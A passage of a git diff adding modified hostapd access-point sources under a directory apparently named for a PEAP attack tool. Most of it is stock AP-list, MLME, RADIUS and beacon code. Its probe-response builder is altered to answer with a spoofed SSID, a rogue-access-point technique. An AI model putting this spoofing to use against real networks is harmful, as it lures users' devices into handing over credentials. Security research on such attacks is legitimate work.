ETH_ALEN) == 0) { + iface->ap_hash[STA_HASH(ap->addr)] = s->hnext; + return; + } + + while (s->hnext != NULL && + os_memcmp(s->hnext->addr, ap->addr, ETH_ALEN) != 0) + s = s->hnext; + if (s->hnext != NULL) + s->hnext = s->hnext->hnext; + else + printf("AP: could not remove AP " MACSTR " from hash table\n", + MAC2STR(ap->addr)); +} + + +static void ap_free_ap(struct hostapd_iface *iface, struct ap_info *ap) +{ + ap_ap_hash_del(iface, ap); + ap_ap_list_del(iface, ap); + + iface->num_ap--; + os_free(ap); +} + + +static void hostapd_free_aps(struct hostapd_iface *iface) +{ + struct ap_info *ap, *prev; + + ap = iface->ap_list; + + while (ap) { + prev = ap; + ap = ap->next; + ap_free_ap(iface, prev); + } + + iface->ap_list = NULL; +} + + +static struct ap_info * ap_ap_add(struct hostapd_iface *iface, const u8 *addr) +{ + struct ap_info *ap; + + ap = os_zalloc(sizeof(struct ap_info)); + if (ap == NULL) + return NULL; + + /* initialize AP info data */ + os_memcpy(ap->addr, addr, ETH_ALEN); + ap_ap_list_add(iface, ap); + iface->num_ap++; + ap_ap_hash_add(iface, ap); + + if (iface->num_ap > iface->conf->ap_table_max_size && ap != ap->prev) { + wpa_printf(MSG_DEBUG, "Removing the least recently used AP " + MACSTR " from AP table", MAC2STR(ap->prev->addr)); + ap_free_ap(iface, ap->prev); + } + + return ap; +} + + +void ap_list_process_beacon(struct hostapd_iface *iface, + const struct ieee80211_mgmt *mgmt, + struct ieee802_11_elems *elems, + struct hostapd_frame_info *fi) +{ + struct ap_info *ap; + struct os_time now; + int new_ap = 0; + int set_beacon = 0; + + if (iface->conf->ap_table_max_size < 1) + return; + + ap = ap_get_ap(iface, mgmt->bssid); + if (!ap) { + ap = ap_ap_add(iface, mgmt->bssid); + if (!ap) { + printf("Failed to allocate AP information entry\n"); + return; + } + new_ap = 1; + } + + merge_byte_arrays(ap->supported_rates, WLAN_SUPP_RATES_MAX, + elems->supp_rates, elems->supp_rates_len, + elems->ext_supp_rates, elems->ext_supp_rates_len); + + if (elems->erp_info && elems->erp_info_len == 1) + ap->erp = elems->erp_info[0]; + else + ap->erp = -1; + + if (elems->ds_params && elems->ds_params_len == 1) + ap->channel = elems->ds_params[0]; + else if (elems->ht_operation && elems->ht_operation_len >= 1) + ap->channel = elems->ht_operation[0]; + else if (fi) + ap->channel = fi->channel; + + if (elems->ht_capabilities) + ap->ht_support = 1; + else + ap->ht_support = 0; + + os_get_time(&now); + ap->last_beacon = now.sec; + + if (!new_ap && ap != iface->ap_list) { + /* move AP entry into the beginning of the list so that the + * oldest entry is always in the end of the list */ + ap_ap_list_del(iface, ap); + ap_ap_list_add(iface, ap); + } + + if (!iface->olbc && + ap_list_beacon_olbc(iface, ap)) { + iface->olbc = 1; + wpa_printf(MSG_DEBUG, "OLBC AP detected: " MACSTR + " (channel %d) - enable protection", + MAC2STR(ap->addr), ap->channel); + set_beacon++; + } + +#ifdef CONFIG_IEEE80211N + if (!iface->olbc_ht && !ap->ht_support && + (ap->channel == 0 || + ap->channel == iface->conf->channel || + ap->channel == iface->conf->channel + + iface->conf->secondary_channel * 4)) { + iface->olbc_ht = 1; + hostapd_ht_operation_update(iface); + wpa_printf(MSG_DEBUG, "OLBC HT AP detected: " MACSTR + " (channel %d) - enable protection", + MAC2STR(ap->addr), ap->channel); + set_beacon++; + } +#endif /* CONFIG_IEEE80211N */ + + if (set_beacon) + ieee802_11_update_beacons(iface); +} + + +static void ap_list_timer(void *eloop_ctx, void *timeout_ctx) +{ + struct hostapd_iface *iface = eloop_ctx; + struct os_time now; + struct ap_info *ap; + int set_beacon = 0; + + eloop_register_timeout(10, 0, ap_list_timer, iface, NULL); + + if (!iface->ap_list) + return; + + os_get_time(&now); + + while (iface->ap_list) { + ap = iface->ap_list->prev; + if (ap->last_beacon + iface->conf->ap_table_expiration_time >= + now.sec) + break; + + ap_free_ap(iface, ap); + } + + if (iface->olbc || iface->olbc_ht) { + int olbc = 0; + int olbc_ht = 0; + + ap = iface->ap_list; + while (ap && (olbc == 0 || olbc_ht == 0)) { + if (ap_list_beacon_olbc(iface, ap)) + olbc = 1; + if (!ap->ht_support) + olbc_ht = 1; + ap = ap->next; + } + if (!olbc && iface->olbc) { + wpa_printf(MSG_DEBUG, "OLBC not detected anymore"); + iface->olbc = 0; + set_beacon++; + } +#ifdef CONFIG_IEEE80211N + if (!olbc_ht && iface->olbc_ht) { + wpa_printf(MSG_DEBUG, "OLBC HT not detected anymore"); + iface->olbc_ht = 0; + hostapd_ht_operation_update(iface); + set_beacon++; + } +#endif /* CONFIG_IEEE80211N */ + } + + if (set_beacon) + ieee802_11_update_beacons(iface); +} + + +int ap_list_init(struct hostapd_iface *iface) +{ + eloop_register_timeout(10, 0, ap_list_timer, iface, NULL); + return 0; +} + + +void ap_list_deinit(struct hostapd_iface *iface) +{ + eloop_cancel_timeout(ap_list_timer, iface, NULL); + hostapd_free_aps(iface); +} diff --git a/peapwn/mods/hostap/src/ap/ap_list.h b/peapwn/mods/hostap/src/ap/ap_list.h new file mode 100644 index 000000000..d0529a1b4 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_list.h @@ -0,0 +1,53 @@ +/* + * hostapd / AP table + * Copyright (c) 2002-2003, Jouni Malinen + * Copyright (c) 2003-2004, Instant802 Networks, Inc. + * Copyright (c) 2006, Devicescape Software, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef AP_LIST_H +#define AP_LIST_H + +struct ap_info { + /* Note: next/prev pointers are updated whenever a new beacon is + * received because these are used to find the least recently used + * entries. */ + struct ap_info *next; /* next entry in AP list */ + struct ap_info *prev; /* previous entry in AP list */ + struct ap_info *hnext; /* next entry in hash table list */ + u8 addr[6]; + u8 supported_rates[WLAN_SUPP_RATES_MAX]; + int erp; /* ERP Info or -1 if ERP info element not present */ + + int channel; + + int ht_support; + + os_time_t last_beacon; +}; + +struct ieee802_11_elems; +struct hostapd_frame_info; + +void ap_list_process_beacon(struct hostapd_iface *iface, + const struct ieee80211_mgmt *mgmt, + struct ieee802_11_elems *elems, + struct hostapd_frame_info *fi); +#ifdef NEED_AP_MLME +int ap_list_init(struct hostapd_iface *iface); +void ap_list_deinit(struct hostapd_iface *iface); +#else /* NEED_AP_MLME */ +static inline int ap_list_init(struct hostapd_iface *iface) +{ + return 0; +} + +static inline void ap_list_deinit(struct hostapd_iface *iface) +{ +} +#endif /* NEED_AP_MLME */ + +#endif /* AP_LIST_H */ diff --git a/peapwn/mods/hostap/src/ap/ap_mlme.c b/peapwn/mods/hostap/src/ap/ap_mlme.c new file mode 100644 index 000000000..a9596947f --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_mlme.c @@ -0,0 +1,178 @@ +/* + * hostapd / IEEE 802.11 MLME + * Copyright 2003-2006, Jouni Malinen + * Copyright 2003-2004, Instant802 Networks, Inc. + * Copyright 2005-2006, Devicescape Software, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "ieee802_11.h" +#include "wpa_auth.h" +#include "sta_info.h" +#include "ap_mlme.h" + + +#ifndef CONFIG_NO_HOSTAPD_LOGGER +static const char * mlme_auth_alg_str(int alg) +{ + switch (alg) { + case WLAN_AUTH_OPEN: + return "OPEN_SYSTEM"; + case WLAN_AUTH_SHARED_KEY: + return "SHARED_KEY"; + case WLAN_AUTH_FT: + return "FT"; + } + + return "unknown"; +} +#endif /* CONFIG_NO_HOSTAPD_LOGGER */ + + +/** + * mlme_authenticate_indication - Report the establishment of an authentication + * relationship with a specific peer MAC entity + * @hapd: BSS data + * @sta: peer STA data + * + * MLME calls this function as a result of the establishment of an + * authentication relationship with a specific peer MAC entity that + * resulted from an authentication procedure that was initiated by + * that specific peer MAC entity. + * + * PeerSTAAddress = sta->addr + * AuthenticationType = sta->auth_alg (WLAN_AUTH_OPEN / WLAN_AUTH_SHARED_KEY) + */ +void mlme_authenticate_indication(struct hostapd_data *hapd, + struct sta_info *sta) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, + HOSTAPD_LEVEL_DEBUG, + "MLME-AUTHENTICATE.indication(" MACSTR ", %s)", + MAC2STR(sta->addr), mlme_auth_alg_str(sta->auth_alg)); + if (sta->auth_alg != WLAN_AUTH_FT && !(sta->flags & WLAN_STA_MFP)) + mlme_deletekeys_request(hapd, sta); +} + + +/** + * mlme_deauthenticate_indication - Report the invalidation of an + * authentication relationship with a specific peer MAC entity + * @hapd: BSS data + * @sta: Peer STA data + * @reason_code: ReasonCode from Deauthentication frame + * + * MLME calls this function as a result of the invalidation of an + * authentication relationship with a specific peer MAC entity. + * + * PeerSTAAddress = sta->addr + */ +void mlme_deauthenticate_indication(struct hostapd_data *hapd, + struct sta_info *sta, u16 reason_code) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, + HOSTAPD_LEVEL_DEBUG, + "MLME-DEAUTHENTICATE.indication(" MACSTR ", %d)", + MAC2STR(sta->addr), reason_code); + mlme_deletekeys_request(hapd, sta); +} + + +/** + * mlme_associate_indication - Report the establishment of an association with + * a specific peer MAC entity + * @hapd: BSS data + * @sta: peer STA data + * + * MLME calls this function as a result of the establishment of an + * association with a specific peer MAC entity that resulted from an + * association procedure that was initiated by that specific peer MAC entity. + * + * PeerSTAAddress = sta->addr + */ +void mlme_associate_indication(struct hostapd_data *hapd, struct sta_info *sta) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, + HOSTAPD_LEVEL_DEBUG, + "MLME-ASSOCIATE.indication(" MACSTR ")", + MAC2STR(sta->addr)); + if (sta->auth_alg != WLAN_AUTH_FT) + mlme_deletekeys_request(hapd, sta); +} + + +/** + * mlme_reassociate_indication - Report the establishment of an reassociation + * with a specific peer MAC entity + * @hapd: BSS data + * @sta: peer STA data + * + * MLME calls this function as a result of the establishment of an + * reassociation with a specific peer MAC entity that resulted from a + * reassociation procedure that was initiated by that specific peer MAC entity. + * + * PeerSTAAddress = sta->addr + * + * sta->previous_ap contains the "Current AP" information from ReassocReq. + */ +void mlme_reassociate_indication(struct hostapd_data *hapd, + struct sta_info *sta) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, + HOSTAPD_LEVEL_DEBUG, + "MLME-REASSOCIATE.indication(" MACSTR ")", + MAC2STR(sta->addr)); + if (sta->auth_alg != WLAN_AUTH_FT) + mlme_deletekeys_request(hapd, sta); +} + + +/** + * mlme_disassociate_indication - Report disassociation with a specific peer + * MAC entity + * @hapd: BSS data + * @sta: Peer STA data + * @reason_code: ReasonCode from Disassociation frame + * + * MLME calls this function as a result of the invalidation of an association + * relationship with a specific peer MAC entity. + * + * PeerSTAAddress = sta->addr + */ +void mlme_disassociate_indication(struct hostapd_data *hapd, + struct sta_info *sta, u16 reason_code) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, + HOSTAPD_LEVEL_DEBUG, + "MLME-DISASSOCIATE.indication(" MACSTR ", %d)", + MAC2STR(sta->addr), reason_code); + mlme_deletekeys_request(hapd, sta); +} + + +void mlme_michaelmicfailure_indication(struct hostapd_data *hapd, + const u8 *addr) +{ + hostapd_logger(hapd, addr, HOSTAPD_MODULE_MLME, + HOSTAPD_LEVEL_DEBUG, + "MLME-MichaelMICFailure.indication(" MACSTR ")", + MAC2STR(addr)); +} + + +void mlme_deletekeys_request(struct hostapd_data *hapd, struct sta_info *sta) +{ + hostapd_logger(hapd, sta->addr, HOSTAPD_MODULE_MLME, + HOSTAPD_LEVEL_DEBUG, + "MLME-DELETEKEYS.request(" MACSTR ")", + MAC2STR(sta->addr)); + + if (sta->wpa_sm) + wpa_remove_ptk(sta->wpa_sm); +} diff --git a/peapwn/mods/hostap/src/ap/ap_mlme.h b/peapwn/mods/hostap/src/ap/ap_mlme.h new file mode 100644 index 000000000..e7fd69d61 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/ap_mlme.h @@ -0,0 +1,34 @@ +/* + * hostapd / IEEE 802.11 MLME + * Copyright 2003, Jouni Malinen + * Copyright 2003-2004, Instant802 Networks, Inc. + * Copyright 2005-2006, Devicescape Software, Inc. + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef MLME_H +#define MLME_H + +void mlme_authenticate_indication(struct hostapd_data *hapd, + struct sta_info *sta); + +void mlme_deauthenticate_indication(struct hostapd_data *hapd, + struct sta_info *sta, u16 reason_code); + +void mlme_associate_indication(struct hostapd_data *hapd, + struct sta_info *sta); + +void mlme_reassociate_indication(struct hostapd_data *hapd, + struct sta_info *sta); + +void mlme_disassociate_indication(struct hostapd_data *hapd, + struct sta_info *sta, u16 reason_code); + +void mlme_michaelmicfailure_indication(struct hostapd_data *hapd, + const u8 *addr); + +void mlme_deletekeys_request(struct hostapd_data *hapd, struct sta_info *sta); + +#endif /* MLME_H */ diff --git a/peapwn/mods/hostap/src/ap/authsrv.c b/peapwn/mods/hostap/src/ap/authsrv.c new file mode 100644 index 000000000..8bb58a6f6 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/authsrv.c @@ -0,0 +1,214 @@ +/* + * Authentication server setup + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#include "utils/includes.h" + +#include "utils/common.h" +#include "crypto/tls.h" +#include "eap_server/eap.h" +#include "eap_server/eap_sim_db.h" +#include "eapol_auth/eapol_auth_sm.h" +#include "radius/radius_server.h" +#include "hostapd.h" +#include "ap_config.h" +#include "sta_info.h" +#include "authsrv.h" + + +#if defined(EAP_SERVER_SIM) || defined(EAP_SERVER_AKA) +#define EAP_SIM_DB +#endif /* EAP_SERVER_SIM || EAP_SERVER_AKA */ + + +#ifdef EAP_SIM_DB +static int hostapd_sim_db_cb_sta(struct hostapd_data *hapd, + struct sta_info *sta, void *ctx) +{ + if (eapol_auth_eap_pending_cb(sta->eapol_sm, ctx) == 0) + return 1; + return 0; +} + + +static void hostapd_sim_db_cb(void *ctx, void *session_ctx) +{ + struct hostapd_data *hapd = ctx; + if (ap_for_each_sta(hapd, hostapd_sim_db_cb_sta, session_ctx) == 0) { +#ifdef RADIUS_SERVER + radius_server_eap_pending_cb(hapd->radius_srv, session_ctx); +#endif /* RADIUS_SERVER */ + } +} +#endif /* EAP_SIM_DB */ + + +#ifdef RADIUS_SERVER + +static int hostapd_radius_get_eap_user(void *ctx, const u8 *identity, + size_t identity_len, int phase2, + struct eap_user *user) +{ + const struct hostapd_eap_user *eap_user; + int i; + + eap_user = hostapd_get_eap_user(ctx, identity, identity_len, phase2); + if (eap_user == NULL) + return -1; + + if (user == NULL) + return 0; + + os_memset(user, 0, sizeof(*user)); + for (i = 0; i < EAP_MAX_METHODS; i++) { + user->methods[i].vendor = eap_user->methods[i].vendor; + user->methods[i].method = eap_user->methods[i].method; + } + + if (eap_user->password) { + user->password = os_malloc(eap_user->password_len); + if (user->password == NULL) + return -1; + os_memcpy(user->password, eap_user->password, + eap_user->password_len); + user->password_len = eap_user->password_len; + user->password_hash = eap_user->password_hash; + } + user->force_version = eap_user->force_version; + user->ttls_auth = eap_user->ttls_auth; + + return 0; +} + + +static int hostapd_setup_radius_srv(struct hostapd_data *hapd) +{ + struct radius_server_conf srv; + struct hostapd_bss_config *conf = hapd->conf; + os_memset(&srv, 0, sizeof(srv)); + srv.client_file = conf->radius_server_clients; + srv.auth_port = conf->radius_server_auth_port; + srv.conf_ctx = hapd; + srv.eap_sim_db_priv = hapd->eap_sim_db_priv; + srv.ssl_ctx = hapd->ssl_ctx; + srv.msg_ctx = hapd->msg_ctx; + srv.pac_opaque_encr_key = conf->pac_opaque_encr_key; + srv.eap_fast_a_id = conf->eap_fast_a_id; + srv.eap_fast_a_id_len = conf->eap_fast_a_id_len; + srv.eap_fast_a_id_info = conf->eap_fast_a_id_info; + srv.eap_fast_prov = conf->eap_fast_prov; + srv.pac_key_lifetime = conf->pac_key_lifetime; + srv.pac_key_refresh_time = conf->pac_key_refresh_time; + srv.eap_sim_aka_result_ind = conf->eap_sim_aka_result_ind; + srv.tnc = conf->tnc; + srv.wps = hapd->wps; + srv.ipv6 = conf->radius_server_ipv6; + srv.get_eap_user = hostapd_radius_get_eap_user; + srv.eap_req_id_text = conf->eap_req_id_text; + srv.eap_req_id_text_len = conf->eap_req_id_text_len; + srv.pwd_group = conf->pwd_group; + srv.server_id = conf->server_id ? conf->server_id : "hostapd"; +#ifdef CONFIG_RADIUS_TEST + srv.dump_msk_file = conf->dump_msk_file; +#endif /* CONFIG_RADIUS_TEST */ + + hapd->radius_srv = radius_server_init(&srv); + if (hapd->radius_srv == NULL) { + wpa_printf(MSG_ERROR, "RADIUS server initialization failed."); + return -1; + } + + return 0; +} + +#endif /* RADIUS_SERVER */ + + +int authsrv_init(struct hostapd_data *hapd) +{ +#ifdef EAP_TLS_FUNCS + if (hapd->conf->eap_server && + (hapd->conf->ca_cert || hapd->conf->server_cert || + hapd->conf->private_key || hapd->conf->dh_file)) { + struct tls_connection_params params; + + hapd->ssl_ctx = tls_init(NULL); + if (hapd->ssl_ctx == NULL) { + wpa_printf(MSG_ERROR, "Failed to initialize TLS"); + authsrv_deinit(hapd); + return -1; + } + + os_memset(¶ms, 0, sizeof(params)); + params.ca_cert = hapd->conf->ca_cert; + params.client_cert = hapd->conf->server_cert; + params.private_key = hapd->conf->private_key; + params.private_key_passwd = hapd->conf->private_key_passwd; + params.dh_file = hapd->conf->dh_file; + params.ocsp_stapling_response = + hapd->conf->ocsp_stapling_response; + + if (tls_global_set_params(hapd->ssl_ctx, ¶ms)) { + wpa_printf(MSG_ERROR, "Failed to set TLS parameters"); + authsrv_deinit(hapd); + return -1; + } + + if (tls_global_set_verify(hapd->ssl_ctx, + hapd->conf->check_crl)) { + wpa_printf(MSG_ERROR, "Failed to enable check_crl"); + authsrv_deinit(hapd); + return -1; + } + } +#endif /* EAP_TLS_FUNCS */ + +#ifdef EAP_SIM_DB + if (hapd->conf->eap_sim_db) { + hapd->eap_sim_db_priv = + eap_sim_db_init(hapd->conf->eap_sim_db, + hostapd_sim_db_cb, hapd); + if (hapd->eap_sim_db_priv == NULL) { + wpa_printf(MSG_ERROR, "Failed to initialize EAP-SIM " + "database interface"); + authsrv_deinit(hapd); + return -1; + } + } +#endif /* EAP_SIM_DB */ + +#ifdef RADIUS_SERVER + if (hapd->conf->radius_server_clients && + hostapd_setup_radius_srv(hapd)) + return -1; +#endif /* RADIUS_SERVER */ + + return 0; +} + + +void authsrv_deinit(struct hostapd_data *hapd) +{ +#ifdef RADIUS_SERVER + radius_server_deinit(hapd->radius_srv); + hapd->radius_srv = NULL; +#endif /* RADIUS_SERVER */ + +#ifdef EAP_TLS_FUNCS + if (hapd->ssl_ctx) { + tls_deinit(hapd->ssl_ctx); + hapd->ssl_ctx = NULL; + } +#endif /* EAP_TLS_FUNCS */ + +#ifdef EAP_SIM_DB + if (hapd->eap_sim_db_priv) { + eap_sim_db_deinit(hapd->eap_sim_db_priv); + hapd->eap_sim_db_priv = NULL; + } +#endif /* EAP_SIM_DB */ +} diff --git a/peapwn/mods/hostap/src/ap/authsrv.h b/peapwn/mods/hostap/src/ap/authsrv.h new file mode 100644 index 000000000..2f4ed3419 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/authsrv.h @@ -0,0 +1,15 @@ +/* + * Authentication server setup + * Copyright (c) 2002-2009, Jouni Malinen + * + * This software may be distributed under the terms of the BSD license. + * See README for more details. + */ + +#ifndef AUTHSRV_H +#define AUTHSRV_H + +int authsrv_init(struct hostapd_data *hapd); +void authsrv_deinit(struct hostapd_data *hapd); + +#endif /* AUTHSRV_H */ diff --git a/peapwn/mods/hostap/src/ap/beacon.c b/peapwn/mods/hostap/src/ap/beacon.c new file mode 100644 index 000000000..569b61223 --- /dev/null +++ b/peapwn/mods/hostap/src/ap/beacon.c @@ -0,0 +1,923 @@ +/* + * hostapd / IEEE 802.11 Management: Beacon and Probe Request/Response + * Copyright (c) 2002-2004, Instant802 Networks, Inc. + * Copyright (c) 2005-2006, Devicescape Software, Inc. + * Copyright (c) 2008-2012, Jouni Malinen + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License version 2 as + * published by the Free Software Foundation. + * + * Alternatively, this software may be distributed under the terms of BSD + * license. + * + * See README and COPYING for more details. + */ + +#include "utils/includes.h" + +#ifndef CONFIG_NATIVE_WINDOWS + +#include "utils/common.h" +#include "common/ieee802_11_defs.h" +#include "common/ieee802_11_common.h" +#include "drivers/driver.h" +#include "wps/wps_defs.h" +#include "p2p/p2p.h" +#include "hostapd.h" +#include "ieee802_11.h" +#include "wpa_auth.h" +#include "wmm.h" +#include "ap_config.h" +#include "sta_info.h" +#include "p2p_hostapd.h" +#include "ap_drv_ops.h" +#include "beacon.h" +#include "hs20.h" +#include "spoof/spoof.h" + + +#ifdef NEED_AP_MLME + +static u8 * hostapd_eid_bss_load(struct hostapd_data *hapd, u8 *eid, size_t len) +{ +#ifdef CONFIG_TESTING_OPTIONS + if (hapd->conf->bss_load_test_set) { + if (2 + 5 > len) + return eid; + *eid++ = WLAN_EID_BSS_LOAD; + *eid++ = 5; + os_memcpy(eid, hapd->conf->bss_load_test, 5); + eid += 5; + } +#endif /* CONFIG_TESTING_OPTIONS */ + return eid; +} + + +static u8 ieee802_11_erp_info(struct hostapd_data *hapd) +{ + u8 erp = 0; + + if (hapd->iface->current_mode == NULL || + hapd->iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G) + return 0; + + if (hapd->iface->olbc) + erp |= ERP_INFO_USE_PROTECTION; + if (hapd->iface->num_sta_non_erp > 0) { + erp |= ERP_INFO_NON_ERP_PRESENT | + ERP_INFO_USE_PROTECTION; + } + if (hapd->iface->num_sta_no_short_preamble > 0 || + hapd->iconf->preamble == LONG_PREAMBLE) + erp |= ERP_INFO_BARKER_PREAMBLE_MODE; + + return erp; +} + + +static u8 * hostapd_eid_ds_params(struct hostapd_data *hapd, u8 *eid) +{ + *eid++ = WLAN_EID_DS_PARAMS; + *eid++ = 1; + *eid++ = hapd->iconf->channel; + return eid; +} + + +static u8 * hostapd_eid_erp_info(struct hostapd_data *hapd, u8 *eid) +{ + if (hapd->iface->current_mode == NULL || + hapd->iface->current_mode->mode != HOSTAPD_MODE_IEEE80211G) + return eid; + + /* Set NonERP_present and use_protection bits if there + * are any associated NonERP stations. */ + /* TODO: use_protection bit can be set to zero even if + * there are NonERP stations present. This optimization + * might be useful if NonERP stations are "quiet". + * See 802.11g/D6 E-1 for recommended practice. + * In addition, Non ERP present might be set, if AP detects Non ERP + * operation on other APs. */ + + /* Add ERP Information element */ + *eid++ = WLAN_EID_ERP_INFO; + *eid++ = 1; + *eid++ = ieee802_11_erp_info(hapd); + + return eid; +} + + +static u8 * hostapd_eid_country_add(u8 *pos, u8 *end, int chan_spacing, + struct hostapd_channel_data *start, + struct hostapd_channel_data *prev) +{ + if (end - pos < 3) + return pos; + + /* first channel number */ + *pos++ = start->chan; + /* number of channels */ + *pos++ = (prev->chan - start->chan) / chan_spacing + 1; + /* maximum transmit power level */ + *pos++ = start->max_tx_power; + + return pos; +} + + +static u8 * hostapd_eid_country(struct hostapd_data *hapd, u8 *eid, + int max_len) +{ + u8 *pos = eid; + u8 *end = eid + max_len; + int i; + struct hostapd_hw_modes *mode; + struct hostapd_channel_data *start, *prev; + int chan_spacing = 1; + + if (!hapd->iconf->ieee80211d || max_len < 6 || + hapd->iface->current_mode == NULL) + return eid; + + *pos++ = WLAN_EID_COUNTRY; + pos++; /* length will be set later */ + os_memcpy(pos, hapd->iconf->country, 3); /* e.g., 'US ' */ + pos += 3; + + mode = hapd->iface->current_mode; + if (mode->mode == HOSTAPD_MODE_IEEE80211A) + chan_spacing = 4; + + start = prev = NULL; + for (i = 0; i < mode->num_channels; i++) { + struct hostapd_channel_data *chan = &mode->channels[i]; + if (chan->flag & HOSTAPD_CHAN_DISABLED) + continue; + if (start && prev && + prev->chan + chan_spacing == chan->chan && + start->max_tx_power == chan->max_tx_power) { + prev = chan; + continue; /* can use same entry */ + } + + if (start) { + pos = hostapd_eid_country_add(pos, end, chan_spacing, + start, prev); + start = NULL; + } + + /* Start new group */ + start = prev = chan; + } + + if (start) { + pos = hostapd_eid_country_add(pos, end, chan_spacing, + start, prev); + } + + if ((pos - eid) & 1) { + if (end - pos < 1) + return eid; + *pos++ = 0; /* pad for 16-bit alignment */ + } + + eid[1] = (pos - eid) - 2; + + return pos; +} + + +static u8 * hostapd_eid_wpa(struct hostapd_data *hapd, u8 *eid, size_t len) +{ + const u8 *ie; + size_t ielen; + + ie = wpa_auth_get_wpa_ie(hapd->wpa_auth, &ielen); + if (ie == NULL || ielen > len) + return eid; + + os_memcpy(eid, ie, ielen); + return eid + ielen; +} + + +static u8 * hostapd_eid_csa(struct hostapd_data *hapd, u8 *eid) +{ + u8 chan; + + if (!hapd->iface->cs_freq) + return eid; + + if (ieee80211_freq_to_chan(hapd->iface->cs_freq, &chan) == + NUM_HOSTAPD_MODES) + return eid; + + *eid++ = WLAN_EID_CHANNEL_SWITCH; + *eid++ = 3; + *eid++ = hapd->iface->cs_block_tx; + *eid++ = chan; + *eid++ = hapd->iface->cs_count; + + return eid; +} + + +static u8 * hostapd_gen_probe_resp(struct hostapd_data *hapd, + struct sta_info *sta, + const struct ieee80211_mgmt *req, + int is_p2p, size_t *resp_len, + struct spoof_ssid *spoof) +{ + struct ieee80211_mgmt *resp; + u8 *pos, *epos, *old_pos; + size_t buflen; + +#define MAX_PROBERESP_LEN 768 + buflen = MAX_PROBERESP_LEN; +#ifdef CONFIG_WPS + if (hapd->wps_probe_resp_ie) + buflen += wpabuf_len(hapd->wps_probe_resp_ie); +#endif /* CONFIG_WPS */ +#ifdef CONFIG_P2P + if (hapd->p2p_probe_resp_ie) + buflen += wpabuf_len(hapd->p2p_probe_resp_ie); +#endif /* CONFIG_P2P */ + if (hapd->conf->vendor_elements) + buflen += wpabuf_len(hapd->conf->vendor_elements); + resp = os_zalloc(buflen); + if (resp == NULL) + return NULL; + + epos = ((u8 *) resp) + MAX_PROBERESP_LEN; + + resp->frame_control = IEEE80211_FC(WLAN_FC_TYPE_MGMT, + WLAN_FC_STYPE_PROBE_RESP); + if (req) + os_memcpy(resp->da, req->sa, ETH_ALEN); + os_memcpy(resp->sa, hapd->own_addr, ETH_ALEN); + + os_memcpy(resp->bssid, hapd->own_addr, ETH_ALEN); + resp->u.probe_resp.beacon_int = + host_to_le16(hapd->iconf->beacon_int); + + /* hardware or low-level driver will setup seq_ctrl and timestamp */ + resp->u.probe_resp.capab_info = + host_to_le16(hostapd_own_capab_info(hapd, sta, 1)); + + pos = resp->u.probe_resp.variable; + *pos++ = WLAN_EID_SSID; + + // Use normal behaviour if no spoof given + if(spoof == NULL) { + *pos++ = hapd->conf->ssid.ssid_len; + os_memcpy(pos, hapd->conf->ssid.ssid, hapd->conf->ssid.ssid_len); + pos += hapd->conf->ssid.ssid_len; + } else { + *pos++ = spoof->ssid_len; // Add ssid_len size to pos (u8) + os_memcpy(pos, spoof->ssid, spoof->ssid_len); // Copy ssid there + pos += spoof->ssid_len; // Add ssid size to pos + } + + /* Supported rates */ + pos = hostapd_eid_supp_rates(hapd, pos); + + /* DS Params */ + pos = hostapd_eid_ds_params(hapd, pos); + + pos = hostapd_eid_country(hapd, pos, epos - pos); + + /* ERP Information element */ + pos = hostapd_eid_erp_info(hapd, pos); + + /* Extended supported rates */ + pos = hostapd_eid_ext_supp_rates(hapd, pos); + + /* RSN, MDIE, WPA */ + pos = hostapd_eid_wpa(hapd, pos, epos - pos); + + pos = hostapd_eid_bss_load(hapd, pos, epos - pos); + +#ifdef CONFIG_IEEE80211N + pos = hostapd_eid_ht_capabilities(hapd, pos); + pos = hostapd_eid_ht_operation(hapd, pos); +#endif /* CONFIG_IEEE80211N */ + + pos = hostapd_eid_ext_capab(hapd, pos); + + pos = hostapd_eid_time_adv(hapd, pos); + pos = hostapd_eid_time_zone(hapd, pos); + + pos = hostapd_eid_interworking(hapd, pos); + pos = hostapd_eid_adv_proto(hapd, pos); + pos = hostapd_eid_roaming_consortium(hapd, pos); + + old_pos = pos; + pos = hostapd_eid_csa(hapd, pos); + + /* save an offset to the counter - should be last byte */ + hapd->iface->cs_c_off_proberesp = (pos != old_pos) ? + pos - (u8 *) resp - 1 : 0; + +#ifdef CONFIG_IEEE80211AC + pos = hostapd_eid_vht_capabilities(hapd, pos); + pos = hostapd_eid_vht_operation(hapd, pos); +#endif /* CONFIG_IEEE80211AC */ + + /* Wi-Fi Alliance WMM */ + pos = hostapd_eid_wmm(hapd, pos); + +#ifdef CONFIG_WPS + if (hapd->conf->wps_state && hapd->wps_probe_resp_ie) { + os_memcpy(pos, wpabuf_head(hapd->wps_probe_resp_ie), + wpabuf_len(hapd->wps_probe_resp_ie)); + pos += wpabuf_len(hapd->wps_probe_resp_ie); + } +#endif /* CONFIG_WPS */ + +#ifdef CONFIG_P2P + if ((hapd->conf->p2p & P2P_ENABLED) && is_p2p && + hapd->p2p_probe_resp_ie) { + os_memcpy(pos, wpabuf_head(hapd->p2p_probe_resp_ie), + wpabuf_len(hapd->p2p_probe_resp_ie)); + pos += wpabuf_len(hapd->p2p_probe_resp_ie); + } +#endif /* CONFIG_P2P */ +#ifdef CONFIG_P2P_MANAGER + if ((hapd->conf->p2p & (P2P_MANAGE | P2P_ENABLED | P2P_GROUP_OWNER)) == + P2P_MANAGE) + pos = hostapd_eid_p2p_manage(hapd, pos); +#endif /* CONFIG_P2P_MANAGER */ + +#ifdef 